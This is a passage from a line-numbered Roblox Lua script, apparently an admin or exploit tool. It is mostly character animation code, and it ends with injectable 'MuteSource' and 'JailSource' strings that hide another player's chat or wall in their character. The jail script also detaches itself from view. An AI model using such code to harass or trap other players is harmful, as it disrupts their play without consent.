  7360.     rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi/2 + math.abs(angle*0.2), 0, -math.abs(angle*0.05))
  7361.     lh.C0 = CFrame.new(-.1,-.2,0)  * CFrame.Angles(math.abs(angle*0.1), 0, -math.abs(angle*0.03))
  7362.     rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-math.abs(angle*0.1), 0, math.abs(angle*0.03))
  7363.     neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, math.sin(angle*0.1))
  7364.     rj.C0 = CFrame.new(0, math.abs(-angle*.035), 0) * CFrame.Angles(0, math.sin(angle*0.05), 0)
  7365. end
  7366. elseif durka then
  7367. countspeed = 2
  7368.     ls.C0 = CFrame.new(-.3,.1,0)  * CFrame.Angles(math.pi/2 + math.abs(angle*0.2), 0, math.abs(angle*0.07))
  7369.     rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(angle*0.1, 0, -math.abs(angle*0.07))
  7370.     lh.C0 = CFrame.new(-.1,-.2,0)  * CFrame.Angles(angle*0.05, 0, -math.abs(angle*0.03))
  7371.     rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.05, 0, math.abs(angle*0.03))
  7372.     neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0)
  7373.     rj.C0 = CFrame.new(0, math.abs(-angle*.035), 0) * CFrame.Angles(0, math.sin(angle*0.05), 0)
  7374. elseif saxguy then
  7375.     countspeed = 5
  7376.     ls.C0 = CFrame.new(-.25,.1,-.1)  * CFrame.Angles(math.pi/2.5, 0, math.pi/4)
  7377.     rs.C0 = CFrame.new(.25,.1,-.1) * CFrame.Angles(math.rad(60), 0, -math.pi/4)
  7378.     lh.C0 = CFrame.new(-.1,-.2,0)  * CFrame.Angles(-math.abs(angle*0.1), 0, -0.06)
  7379.     rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-math.abs(angle*0.1), 0, 0.06)
  7380.     neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(0, 0, 0)
  7381.     rj.C0 = CFrame.new(0, -math.abs(angle*0.01), math.abs(angle*0.01)) * CFrame.Angles(math.abs(angle*0.1), 0, 0)
  7382. elseif heya then
  7383.      countspeed = 5
  7384.     ls.C0 = CFrame.new(-.3,.1,0)  * CFrame.Angles(math.pi + -angle*0.2, -angle*0.1, 0)
  7385.     rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi + angle*0.2, angle*0.1, 0)
  7386.     lh.C0 = CFrame.new(-.1,-.2,0)  * CFrame.Angles(angle*0.05, angle*0.1, -0.06)
  7387.     rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.05, -angle*0.1, 0.06)
  7388.     neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(0.2), 0, 0)
  7389.     rj.C0 = CFrame.new(0, math.abs(angle*0.05), 0) * CFrame.Angles(0, math.sin(angle*0.07), 0)
  7390. elseif jb then
  7391.          countspeed = 5
  7392.     ls.C0 = CFrame.new(-.3,.1,0)  * CFrame.Angles(math.pi/2 + -angle*0.2, -angle*0.1, 0)
  7393.     rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi/2 + angle*0.2, angle*0.1, 0)
  7394.     lh.C0 = CFrame.new(-.1,-.2,0)  * CFrame.Angles(angle*0.05, angle*0.1, -0.06)
  7395.     rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.05, -angle*0.1, 0.06)
  7396.     neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(0.2), 0, 0)
  7397.     rj.C0 = CFrame.new(0, math.abs(angle*0.05), 0) * CFrame.Angles(0, math.abs(angle*0.1), 0)
  7398. elseif bronymusic then
  7399.              countspeed = 5
  7400.     ls.C0 = CFrame.new(-.1,.1,-.15)  * CFrame.Angles(math.pi/2 + -angle*0.1, -angle*0.1, 0)
  7401.     rs.C0 = CFrame.new(.1,.1,-.15) * CFrame.Angles(math.pi/2 + angle*0.1, angle*0.1, 0)
  7402.     lh.C0 = CFrame.new(-.1,-.25,0)  * CFrame.Angles(math.pi/2 + angle*0.1, 0, 0)
  7403.     rh.C0 = CFrame.new(.1,-.25,0) * CFrame.Angles(math.pi/2 + -angle*0.1, 0, 0)
  7404.     neck.C0 = CFrame.new(0,.25,0) * CFrame.Angles(math.pi/2 + math.abs(angle*0.25), 0, 0)
  7405.     rj.C0 = CFrame.new(0, -0.2 + math.abs(angle*0.05), 0) * CFrame.Angles(-math.rad(85), 0, 0)
  7406. elseif sheddy then
  7407.     countspeed = 7
  7408.         ls.C0 = CFrame.new(-.3,.1,0)  * CFrame.Angles(math.pi/4 + -angle*0.4, -angle*0.1, 0)
  7409.     rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi/4 + angle*0.4, angle*0.1, 0)
  7410.     lh.C0 = CFrame.new(-.1,-.2,0)  * CFrame.Angles(angle*0.05, angle*0.1, -0.06)
  7411.     rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.05, -angle*0.1, 0.06)
  7412.     neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(0.2), 0, 0)
  7413.     rj.C0 = CFrame.new(0, math.abs(angle*0.05), 0) * CFrame.Angles(0, math.abs(angle*0.1), 0)
  7414. elseif burndem then
  7415.     countspeed = 4
  7416.      ls.C0 = CFrame.new(-.3,.1,0)  * CFrame.Angles(math.pi/4 + -angle*0.4, -angle*0.1, 0)
  7417.     rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi/4 + angle*0.4, angle*0.1, 0)
  7418.     lh.C0 = CFrame.new(-.1,-.2,0)  * CFrame.Angles(angle*0.05, angle*0.1, -0.06)
  7419.     rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.05, -angle*0.1, 0.06)
  7420.     neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(0.2), 0, 0)
  7421.     rj.C0 = CFrame.new(0, math.abs(angle*0.05), 0) * CFrame.Angles(0, math.abs(angle*0.1), 0)
  7422. end
  7423. end
  7424. end)
  7425.  
  7426.  
  7427. plr.Chatted:connect(function(msg)
  7428.     game:service'Chat':Chat(head, msg, 1)
  7429.     if msg == "die/" then
  7430.         char:breakJoints()
  7431.     end
  7432.    
  7433. end)
  7434.  
  7435. end)
  7436. if not ran and err then
  7437.     print(err)
  7438. end
  7439. ]==]
  7440.  
  7441. Doge = [==[
  7442. do --CFrame lerp
  7443.         local function QuaternionFromCFrame(cf)
  7444.                 local mx, my, mz, m00, m01, m02, m10, m11, m12, m20, m21, m22 = cf:components()
  7445.                 local trace = m00 + m11 + m22
  7446.                 if trace > 0 then
  7447.                         local s = math.sqrt(1 + trace)
  7448.                         local recip = 0.5/s
  7449.                         return (m21-m12)*recip, (m02-m20)*recip, (m10-m01)*recip, s*0.5
  7450.                 else
  7451.                         local i = 0
  7452.                         if m11 > m00 then
  7453.                                 i = 1
  7454.                         end
  7455.                         if m22 > (i == 0 and m00 or m11) then
  7456.                                 i = 2
  7457.                         end
  7458.                         if i == 0 then
  7459.                                 local s = math.sqrt(m00-m11-m22+1)
  7460.                                 local recip = 0.5/s
  7461.                                 return 0.5*s, (m10+m01)*recip, (m20+m02)*recip, (m21-m12)*recip
  7462.                         elseif i == 1 then
  7463.                                 local s = math.sqrt(m11-m22-m00+1)
  7464.                                 local recip = 0.5/s
  7465.                                 return (m01+m10)*recip, 0.5*s, (m21+m12)*recip, (m02-m20)*recip
  7466.                         elseif i == 2 then
  7467.                                 local s = math.sqrt(m22-m00-m11+1)
  7468.                                 local recip = 0.5/s return (m02+m20)*recip, (m12+m21)*recip, 0.5*s, (m10-m01)*recip
  7469.                         end
  7470.                 end
  7471.         end
  7472.         local function QuaternionToCFrame(px, py, pz, x, y, z, w)
  7473.                 local xs, ys, zs = x + x, y + y, z + z
  7474.                 local wx, wy, wz = w*xs, w*ys, w*zs
  7475.                 local xx = x*xs
  7476.                 local xy = x*ys
  7477.                 local xz = x*zs
  7478.                 local yy = y*ys
  7479.                 local yz = y*zs
  7480.                 local zz = z*zs
  7481.                 return CFrame.new(px, py, pz,1-(yy+zz), xy - wz, xz + wy,xy + wz, 1-(xx+zz), yz - wx, xz - wy, yz + wx, 1-(xx+yy))
  7482.                 end  
  7483.         local function QuaternionSlerp(a, b, t)
  7484.                 local cosTheta = a[1]*b[1] + a[2]*b[2] + a[3]*b[3] + a[4]*b[4]
  7485.                 local startInterp, finishInterp;
  7486.                 if cosTheta >= 0.0001 then
  7487.                         if (1 - cosTheta) > 0.0001 then
  7488.                                 local theta = math.acos(cosTheta)
  7489.                                 local invSinTheta = 1/math.sin(theta)
  7490.                                 startInterp = math.sin((1-t)*theta)*invSinTheta
  7491.                                 finishInterp = math.sin(t*theta)*invSinTheta  
  7492.                         else
  7493.                                 startInterp = 1-t
  7494.                                 finishInterp = t
  7495.                         end
  7496.                 else
  7497.                         if (1+cosTheta) > 0.0001 then
  7498.                                 local theta = math.acos(-cosTheta)
  7499.                                 local invSinTheta = 1/math.sin(theta)
  7500.                                 startInterp = math.sin((t-1)*theta)*invSinTheta
  7501.                                 finishInterp = math.sin(t*theta)*invSinTheta
  7502.                         else
  7503.                                 startInterp = t-1
  7504.                                 finishInterp = t
  7505.                         end
  7506.                 end
  7507.                 return a[1]*startInterp + b[1]*finishInterp, a[2]*startInterp + b[2]*finishInterp, a[3]*startInterp + b[3]*finishInterp, a[4]*startInterp + b[4]*finishInterp
  7508.         end  
  7509.         function clerp(a,b,t)
  7510.                 local qa = {QuaternionFromCFrame(a)}
  7511.                 local qb = {QuaternionFromCFrame(b)}
  7512.                 local ax, ay, az = a.x, a.y, a.z
  7513.                 local bx, by, bz = b.x, b.y, b.z  
  7514.                 local _t = 1-t
  7515.                 return QuaternionToCFrame(_t*ax + t*bx, _t*ay + t*by, _t*az + t*bz,QuaternionSlerp(qa, qb, t))
  7516.         end
  7517.  
  7518. end
  7519. do --the animating
  7520. plr = game:service'Players'.LocalPlayer
  7521. char = plr.Character
  7522. mouse = plr:GetMouse()
  7523. humanoid = char:findFirstChild("Humanoid")
  7524. torso = char:findFirstChild("Torso")
  7525. head = char.Head
  7526. ra = char:findFirstChild("Right Arm")
  7527. la = char:findFirstChild("Left Arm")
  7528. rl = char:findFirstChild("Right Leg")
  7529. ll = char:findFirstChild("Left Leg")
  7530. rs = torso:findFirstChild("Right Shoulder")
  7531. ls = torso:findFirstChild("Left Shoulder")
  7532. rh = torso:findFirstChild("Right Hip")
  7533. lh = torso:findFirstChild("Left Hip")
  7534. neck = torso:findFirstChild("Neck")
  7535. rj = char:findFirstChild("HumanoidRootPart"):findFirstChild("RootJoint")
  7536. anim = char:findFirstChild("Animate")
  7537. rootpart = char:findFirstChild("HumanoidRootPart")
  7538. camera = workspace.CurrentCamera
  7539. if anim then
  7540. anim:Destroy()
  7541. end
  7542.  
  7543.  
  7544. local rm = Instance.new("Motor", torso)
  7545. rm.C0 = CFrame.new(1.5, 0.5, 0)
  7546. rm.C1 = CFrame.new(0, 0.5, 0)
  7547. rm.Part0 = torso
  7548. rm.Part1 = ra
  7549. local lm = Instance.new("Motor", torso)
  7550. lm.C0 = CFrame.new(-1.5, 0.5, 0)
  7551. lm.C1 = CFrame.new(0, 0.5, 0)
  7552. lm.Part0 = torso
  7553. lm.Part1 = la
  7554.  
  7555. local rlegm = Instance.new("Motor", torso)
  7556. rlegm.C0 = CFrame.new(0.5, -1, 0)
  7557. rlegm.C1 = CFrame.new(0, 1, 0)
  7558. rlegm.Part0 = torso
  7559. rlegm.Part1 = rl
  7560. local llegm = Instance.new("Motor", torso)
  7561. llegm.C0 = CFrame.new(-0.5, -1, 0)
  7562. llegm.C1 = CFrame.new(0, 1, 0)
  7563. llegm.Part0 = torso
  7564. llegm.Part1 = ll
  7565.  
  7566. neck.C0 = CFrame.new(0, 1, 0)
  7567. neck.C1 = CFrame.new(0, -0.5, 0)
  7568.  
  7569.  
  7570. rj.C0 = CFrame.new()
  7571. rj.C1 = CFrame.new()
  7572.  
  7573.  
  7574. local sound = Instance.new("Sound", head)
  7575. sound.SoundId = "http://www.roblox.com/asset/?id=152745539"
  7576. sound.Volume = 0.8
  7577. sound.Looped = true
  7578.  
  7579. for i,v in pairs(char:children()) do
  7580.     if v:IsA("Hat") then
  7581.         v:Destroy()
  7582.     end
  7583. end
  7584.  
  7585.  
  7586. --look of the fox here
  7587. game:service'InsertService':LoadAsset(153955396):children()[1].Parent = char
  7588. Instance.new("PointLight", head).Range = 10
  7589.  
  7590.  
  7591.  
  7592.  
  7593. local speed = 0.3
  7594. local angle = 0
  7595. local sitting = false
  7596. local humanwalk = false
  7597. local anglespeed = 1
  7598. rsc0 = rm.C0
  7599. lsc0 = lm.C0
  7600. llc0 = llegm.C0
  7601. rlc0 = rlegm.C0
  7602. neckc0 = neck.C0
  7603.  
  7604. local controllerService = game:GetService("ControllerService")
  7605. local controller = controllerService:GetChildren()[1]
  7606.  
  7607. controller.Parent = nil
  7608.  
  7609. Instance.new("HumanoidController", game:service'ControllerService')
  7610. Instance.new("SkateboardController", game:service'ControllerService')
  7611. Instance.new("VehicleController", game:service'ControllerService')
  7612. local controller = controllerService:GetChildren()[1]
  7613. mouse.KeyDown:connect(function(k)
  7614.     if k == "q" then
  7615.         humanwalk = not humanwalk
  7616.     end
  7617.     if k == "z" then
  7618.         if not sound.IsPlaying then
  7619.             sound:stop()
  7620.             sound.SoundId = "http://www.roblox.com/asset/?id=130802245"
  7621.             wait()
  7622.             sound:play()
  7623.         end
  7624.     end
  7625.     if k == "x" then
  7626.         if not sound.IsPlaying then
  7627.             sound:stop()
  7628.             sound.SoundId = "http://www.roblox.com/asset/?id=152745539"
  7629.             wait()
  7630.             sound:play()
  7631.         end
  7632.     end
  7633.     if k == "c" then
  7634.         if not sound.IsPlaying then
  7635.             sound:stop()
  7636.             sound.SoundId = "http://www.roblox.com/asset/?id=142991813"
  7637.             wait()
  7638.             sound:play()
  7639.         end
  7640.     end
  7641.     if string.byte(k) == 48 then
  7642.         humanoid.WalkSpeed = 34
  7643.     end
  7644.    
  7645. end)
  7646. mouse.KeyUp:connect(function(k)
  7647.    
  7648.     if string.byte(k) == 48 then
  7649.         humanoid.WalkSpeed = 16
  7650.     end
  7651.    
  7652. end)
  7653.  
  7654.    
  7655.  
  7656. while wait() do
  7657.     angle = (angle % 100) + anglespeed/10
  7658.         mvmnt = math.pi * math.sin(math.pi*2/100*(angle*10))
  7659.         local rscf = rsc0
  7660.         local lscf = lsc0
  7661.         local rlcf = rlc0
  7662.         local llcf = llc0
  7663.         local rjcf = CFrame.new()
  7664.         local ncf = neckc0
  7665.         local rayz = Ray.new(rootpart.Position, Vector3.new(0, -6, 0))
  7666.             local hitz, enz = workspace:findPartOnRay(rayz, char)
  7667.             if not hitz then
  7668.         if sound.IsPlaying then
  7669.             sound:stop()
  7670.         end
  7671.        
  7672.         if Vector3.new(torso.Velocity.x, 0, torso.Velocity.z).magnitude > 2 then
  7673.        
  7674.         ncf = neckc0 * CFrame.Angles(math.pi/5, 0, 0)
  7675.         rjcf = CFrame.new() * CFrame.Angles(-math.pi/5, math.sin(angle)*0.05, 0)
  7676.         rscf = rsc0 * CFrame.Angles(math.pi/1.7+math.sin(angle)*0.1, 0, 0)
  7677.         lscf = lsc0 * CFrame.Angles(math.pi/1.7+math.sin(-angle)*0.1, 0, 0)
  7678.         rlcf = rlc0 * CFrame.Angles(-math.pi/10+math.sin(-angle)*0.3, 0, 0)
  7679.         llcf = llc0 * CFrame.Angles(-math.pi/10+math.sin(angle)*0.3, 0, 0)
  7680.        
  7681.         else
  7682.        
  7683.         ncf = neckc0 * CFrame.Angles(math.pi/14, 0, 0)
  7684.         rjcf = CFrame.new() * CFrame.Angles(-math.pi/18, math.sin(angle)*0.05, 0)
  7685.         rscf = rsc0 * CFrame.Angles(-math.pi/10+math.sin(angle)*0.2, 0, 0)
  7686.         lscf = lsc0 * CFrame.Angles(-math.pi/10+math.sin(-angle)*0.2, 0, 0)
  7687.         rlcf = rlc0 * CFrame.new(0, 0.7, -0.5) CFrame.Angles(-math.pi/14, 0, 0)
  7688.         llcf = llc0 * CFrame.Angles(-math.pi/20, 0, 0)
  7689.        
  7690.         end
  7691.     elseif humanoid.Sit then
  7692.         if sound.IsPlaying and sound.SoundId == "http://www.roblox.com/asset/?id=152745539" then
  7693.         anglespeed = 6
  7694.         ncf = neckc0 * CFrame.Angles(math.pi/5-math.sin(angle)*0.1, 0, 0)
  7695.         rjcf = CFrame.new(0, -0.8, 0) * CFrame.Angles(-math.pi/5, 0, 0)
  7696.         rscf = rsc0 * CFrame.new(-.45, 0.2, -.3) * CFrame.Angles(math.pi/3, 0, -math.rad(15))
  7697.         lscf = lsc0 * CFrame.new(.45, 0.2, -.3) * CFrame.Angles(math.pi/3, 0, math.rad(15))
  7698.         rlcf = rlc0 * CFrame.Angles(math.pi/2+math.pi/5, 0, math.rad(20))
  7699.         llcf = llc0 * CFrame.Angles(math.pi/2+math.pi/5, 0, -math.rad(20))
  7700.         elseif sound.IsPlaying and sound.SoundId == "http://www.roblox.com/asset/?id=145088518" then
  7701.         anglespeed = 4
  7702.         ncf = neckc0 * CFrame.Angles(math.pi/5-math.abs(math.sin(angle))*0.3, 0, 0)
  7703.         rjcf = CFrame.new(0, -0.8, 0) * CFrame.Angles(-math.pi/5, 0, 0)
  7704.         rscf = rsc0 * CFrame.new(-.45, 0.2, -.3) * CFrame.Angles(math.pi/3, 0, -math.rad(15))
  7705.         lscf = lsc0 * CFrame.new(.45, 0.2, -.3) * CFrame.Angles(math.pi/3, 0, math.rad(15))
  7706.         rlcf = rlc0 * CFrame.Angles(math.pi/2+math.pi/5, 0, math.rad(20))
  7707.         llcf = llc0 * CFrame.Angles(math.pi/2+math.pi/5, 0, -math.rad(20))
  7708.         elseif sound.IsPlaying and sound.SoundId == "http://www.roblox.com/asset/?id=145088518" then
  7709.         anglespeed = 2
  7710.         ncf = neckc0 * CFrame.Angles(math.pi/5, 0, math.sin(angle)*0.08)
  7711.         rjcf = CFrame.new(0, -0.8, 0) * CFrame.Angles(-math.pi/5, math.sin(angle)*0.01, 0)
  7712.         rscf = rsc0 * CFrame.new(-.45, 0.2, -.3) * CFrame.Angles(math.pi/3, 0, -math.rad(15))
  7713.         lscf = lsc0 * CFrame.new(.45, 0.2, -.3) * CFrame.Angles(math.pi/3, 0, math.rad(15))
  7714.         rlcf = rlc0 * CFrame.Angles(math.pi/2+math.pi/5, 0, math.rad(20))
  7715.         llcf = llc0 * CFrame.Angles(math.pi/2+math.pi/5, 0, -math.rad(20))
  7716.         else
  7717.         anglespeed = 1/2
  7718.         ncf = neckc0 * CFrame.Angles(math.pi/5, 0, math.sin(angle)*0.08)
  7719.         rjcf = CFrame.new(0, -0.8, 0) * CFrame.Angles(-math.pi/5, math.sin(angle)*0.01, 0)
  7720.         rscf = rsc0 * CFrame.new(-.45, 0.2, -.3) * CFrame.Angles(math.pi/3, 0, -math.rad(15))
  7721.         lscf = lsc0 * CFrame.new(.45, 0.2, -.3) * CFrame.Angles(math.pi/3, 0, math.rad(15))
  7722.         rlcf = rlc0 * CFrame.Angles(math.pi/2+math.pi/5, 0, math.rad(20))
  7723.         llcf = llc0 * CFrame.Angles(math.pi/2+math.pi/5, 0, -math.rad(20))
  7724.         end
  7725.     elseif Vector3.new(torso.Velocity.x, 0, torso.Velocity.z).magnitude < 2 then
  7726.        if sound.IsPlaying and sound.SoundId == "http://www.roblox.com/asset/?id=130797915" then
  7727.        anglespeed = 6
  7728.            ncf = neckc0 * CFrame.Angles(math.pi/10-math.sin(angle)*0.07, 0, 0)
  7729.            rjcf = CFrame.new(0, 0, 0) * CFrame.Angles(-math.pi/10, math.sin(angle)*0.001, 0)
  7730.            rscf = rsc0 * CFrame.Angles(math.pi/1+math.sin(angle)*0.5, 0, 0)
  7731.            lscf = lsc0 * CFrame.Angles(math.pi/1+math.sin(angle)*0.5, 0, 0)
  7732.            rlcf = rlc0 * CFrame.Angles(math.pi/10, math.sin(angle)*0.08, math.rad(6.5))
  7733.            llcf = llc0 * CFrame.Angles(math.pi/10, -math.sin(angle)*0.08, -math.rad(6.5))
  7734.        elseif sound.IsPlaying and sound.SoundId == "http://www.roblox.com/asset/?id=145088518" then
  7735.            anglespeed = 2
  7736.            ncf = neckc0 * CFrame.Angles(math.pi/10-math.abs(math.sin(angle))*0.3, 0, 0)
  7737.            rjcf = CFrame.new(0, 0, 0) * CFrame.Angles(-math.pi/20, math.sin(angle)*0.001, 0)
  7738.            rscf = rsc0 * CFrame.Angles(math.pi/2+math.abs(math.sin(angle)*1), 0, 0)
  7739.            lscf = lsc0 * CFrame.Angles(math.pi/2+math.abs(math.sin(angle)*1), 0, 0)
  7740.            rlcf = rlc0 * CFrame.Angles(math.pi/20, math.sin(angle)*0.08, math.rad(2.5))
  7741.            llcf = llc0 * CFrame.Angles(math.pi/20, -math.sin(angle)*0.08, -math.rad(2.5))
  7742.        elseif sound.IsPlaying and sound.SoundId == "http://www.roblox.com/asset/?id=145088518" then
  7743.        anglespeed = 3
  7744.        ncf = neckc0 * CFrame.Angles(math.sin(angle)*0.07, math.rad(30), 0)
  7745.        rjcf = CFrame.new(0, 0, 0) * CFrame.Angles(0, math.sin(angle)*0.001, 0)
  7746.        rscf = rsc0 * CFrame.Angles(math.sin(angle)*0.05, 0, 0)
  7747.        lscf = lsc0 * CFrame.Angles(math.sin(-angle)*0.05, 0, 0)
  7748.        rlcf = rlc0 * CFrame.new(0, -0.1 + math.abs(mvmnt)*0.1, -0.1) * CFrame.Angles(0, math.rad(5), math.rad(5))
  7749.        llcf = llc0 * CFrame.Angles(0, math.rad(2.5), math.rad(1))
  7750.        else
  7751.            if humanwalk then
  7752.                        anglespeed = 1/4
  7753.        ncf = neckc0 * CFrame.Angles(-math.sin(angle)*0.07, 0, 0)
  7754.        rjcf = CFrame.new(0, 0, 0) * CFrame.Angles(0, math.sin(angle)*0.001, 0)
  7755.        rscf = rsc0 * CFrame.Angles(math.sin(angle)*0.1, 0, 0)
  7756.        lscf = lsc0 * CFrame.Angles(math.sin(-angle)*0.1, 0, 0)
  7757.        rlcf = rlc0 * CFrame.Angles(0, math.sin(angle)*0.08, math.rad(2.5))
  7758.        llcf = llc0 * CFrame.Angles(0, -math.sin(angle)*0.08, -math.rad(2.5))
  7759.                else
  7760.        anglespeed = 1/2
  7761.        ncf = neckc0 * CFrame.Angles(math.pi/5, 0, math.sin(angle)*0.08)
  7762.        rjcf = CFrame.new(0, -2, 0) * CFrame.Angles(-math.pi/5, math.sin(angle)*0.01, 0)
  7763.        rscf = rsc0 * CFrame.new(-.45, 0.2, -.3) * CFrame.Angles(math.pi/3, 0, -math.rad(15))
  7764.        lscf = lsc0 * CFrame.new(.45, 0.2, -.3) * CFrame.Angles(math.pi/3, 0, math.rad(15))
  7765.        rlcf = rlc0 * CFrame.Angles(math.pi/2+math.pi/5, 0, math.rad(20))
  7766.        llcf = llc0 * CFrame.Angles(math.pi/2+math.pi/5, 0, -math.rad(20))
  7767.            end
  7768.        end
  7769.    elseif Vector3.new(torso.Velocity.x, 0, torso.Velocity.z).magnitude < 20 then
  7770.        if sound.IsPlaying then
  7771.            sound:stop()
  7772.        end
  7773.        if humanwalk then
  7774.                                anglespeed = 4
  7775.        ncf = neckc0 * CFrame.Angles(math.pi/24, mvmnt*.02, 0)
  7776.        rjcf = CFrame.new(0, math.abs(mvmnt)*0.05, 0) * CFrame.Angles(-math.pi/24, -mvmnt*.02, 0)
  7777.        rscf = rsc0 * CFrame.Angles(math.sin(angle)*1.25, 0, -math.abs(mvmnt)*0.02)
  7778.        lscf = lsc0 * CFrame.Angles(math.sin(-angle)*1.25, 0, math.abs(mvmnt)*0.02)
  7779.        rlcf = rlc0 * CFrame.Angles(math.sin(-angle)*1, 0, math.rad(.5))
  7780.        llcf = llc0 * CFrame.Angles(math.sin(angle)*1, 0, -math.rad(.5))
  7781.                else
  7782.        anglespeed = 4
  7783.        ncf = neckc0 * CFrame.new(0, 0, .2) * CFrame.Angles(math.pi/1.9, 0, 0)
  7784.        rjcf = CFrame.new(0, -1.5+math.abs(mvmnt)*0.05, 0) * CFrame.Angles(-math.pi/1.9, math.sin(mvmnt/2)*0.05, 0)
  7785.        rscf = rsc0 * CFrame.new(-.45, 0.2, -.4+math.abs(mvmnt)*0.125) * CFrame.Angles(math.pi/2+math.sin(angle)*0.7, 0, math.rad(5))
  7786.        lscf = lsc0 * CFrame.new(.45, 0.2, .1-math.abs(mvmnt)*0.125) * CFrame.Angles(math.pi/2+math.sin(-angle)*0.7, 0, -math.rad(5))
  7787.        rlcf = rlc0 * CFrame.new(0, 0, -.3+math.abs(mvmnt)*0.125) * CFrame.Angles(math.pi/2.5+math.sin(-angle)*0.6, 0, math.abs(mvmnt)*0.025)
  7788.        llcf = llc0 * CFrame.new(0, 0, .3-math.abs(mvmnt)*0.125) * CFrame.Angles(math.pi/2.5+math.sin(angle)*.6, 0, -math.abs(mvmnt)*0.025)
  7789.        end
  7790.    elseif Vector3.new(torso.Velocity.x, 0, torso.Velocity.z).magnitude >= 20 then
  7791.         if sound.IsPlaying then
  7792.             sound:stop()
  7793.         end
  7794.         if humanwalk then
  7795.         anglespeed = 5
  7796.         ncf = neckc0 * CFrame.Angles(math.pi/20, math.sin(angle)*.04, 0)
  7797.         rjcf = CFrame.new(0, -.4 + math.abs(mvmnt)*0.25, 0) * CFrame.Angles(-math.pi/20, -math.sin(angle)*.08, 0)
  7798.         rscf = rsc0 * CFrame.new(0, 0, -.3+math.abs(mvmnt)*0.125) *  CFrame.Angles(math.pi/18+math.sin(angle)*1.5, 0, -math.abs(mvmnt)*0.02)
  7799.         lscf = lsc0 * CFrame.new(0, 0, .3-math.abs(mvmnt)*0.125) * CFrame.Angles(math.pi/18+math.sin(-angle)*1.5, 0, math.abs(mvmnt)*0.02)
  7800.         rlcf = rlc0 * CFrame.new(0, 0, -.6+math.abs(mvmnt)*0.125) * CFrame.Angles(-math.pi/18+math.sin(-angle)*1.3, 0, math.rad(.5))
  7801.         llcf = llc0 * CFrame.new(0, 0, -math.abs(mvmnt)*0.125) * CFrame.Angles(-math.pi/18+math.sin(angle)*1.3, 0, -math.rad(.5))
  7802.         else
  7803.         anglespeed = 5.5
  7804.         ncf = neckc0 * CFrame.new(0, 0, .2) * CFrame.Angles(math.pi/1.9+math.sin(mvmnt/2)*0.05, 0, 0)
  7805.         rjcf = CFrame.new(0, -1.3+math.abs(mvmnt)*0.05, 0) * CFrame.Angles(-math.pi/1.9+math.abs(mvmnt/2)*0.1, 0, 0)
  7806.         rscf = rsc0 * CFrame.new(-1, 0.2, -.5) * CFrame.Angles(math.pi/2+math.sin(angle)*1.8, 0, math.rad(5))
  7807.         lscf = lsc0 * CFrame.new(1, 0.2, -.5) * CFrame.Angles(math.pi/2+math.sin(angle)*1.8, 0, -math.rad(5))
  7808.         rlcf = rlc0 * CFrame.new(0, .3-math.abs(mvmnt)*0.125, -.3+math.abs(mvmnt)*0.125) * CFrame.Angles(math.pi/2.5+math.sin(-angle)*1.4, 0, math.abs(mvmnt)*0.025)
  7809.         llcf = llc0 * CFrame.new(0, .3-math.abs(mvmnt)*0.125, .3-math.abs(mvmnt)*0.125) * CFrame.Angles(math.pi/2.5+math.sin(-angle)*1.4, 0, -math.abs(mvmnt)*0.025)
  7810.         end
  7811.     end
  7812.        
  7813.     rm.C0 = clerp(rm.C0,rscf,speed)
  7814.     lm.C0 = clerp(lm.C0,lscf,speed)
  7815.     rj.C0 = clerp(rj.C0,rjcf,speed)
  7816.     neck.C0 = clerp(neck.C0,ncf,speed)
  7817.     rlegm.C0 = clerp(rlegm.C0,rlcf,speed)
  7818.     llegm.C0 = clerp(llegm.C0,llcf,speed)
  7819. end
  7820.  
  7821.  
  7822. end
  7823. ]==]
  7824.  
  7825. MuteSource = [==[
  7826.     game:GetService("StarterGui"):SetCoreGuiEnabled(4, false)
  7827. ]==]
  7828.  
  7829. UnMuteSource = [==[
  7830.     game:GetService("StarterGui"):SetCoreGuiEnabled(4, true)
  7831. ]==]
  7832.  
  7833. JailSource = [==[
  7834.     wait(0)
  7835.     script.Parent = nil
  7836.  
  7837.     local LP = game:GetService("Players").LocalPlayer
  7838.     Middle2 = nil
  7839.     Middle = nil
  7840.     game:GetService("Workspace").CurrentCamera:ClearAllChildren()
  7841.  
  7842.     Cons = {}
  7843.  
  7844.     function makePrison()
  7845.         for _,v in pairs(Cons) do
  7846.             v:disconnect()
  7847.         end
  7848.         game:GetService("Workspace").CurrentCamera:ClearAllChildren()
  7849.         if Middle == nil then
  7850.             Middle2 = LP.Character.Torso.Position
  7851.             Middle = LP.Character.Torso.CFrame
  7852.         end
  7853.         local side1 = Instance.new("Part")
  7854.         side1.Name = "¬Focus1¬"
  7855.         side1.Size = Vector3.new(20, 50, 1)
  7856.         side1.CFrame = Middle * CFrame.new(0, 0, -10)
  7857.         side1.BrickColor = BrickColor.new("Really black")
  7858.         side1.CanCollide = true
  7859.         side1.Anchored = true
  7860.         side1.TopSurface = "Smooth"
  7861.         side1.BottomSurface = "Smooth"
  7862.         side1.Parent = game:GetService("Workspace").CurrentCamera
  7863.  
  7864.         local side2 = Instance.new("Part")
  7865.         side2.Name = "¬Focus2¬"
  7866.         side2.Size = Vector3.new(20, 50, 1)
  7867.         side2.CFrame = Middle * CFrame.new(0, 0, 10)
  7868.         side2.BrickColor = BrickColor.new("Really black")
  7869.         side2.CanCollide = true
  7870.         side2.Anchored = true
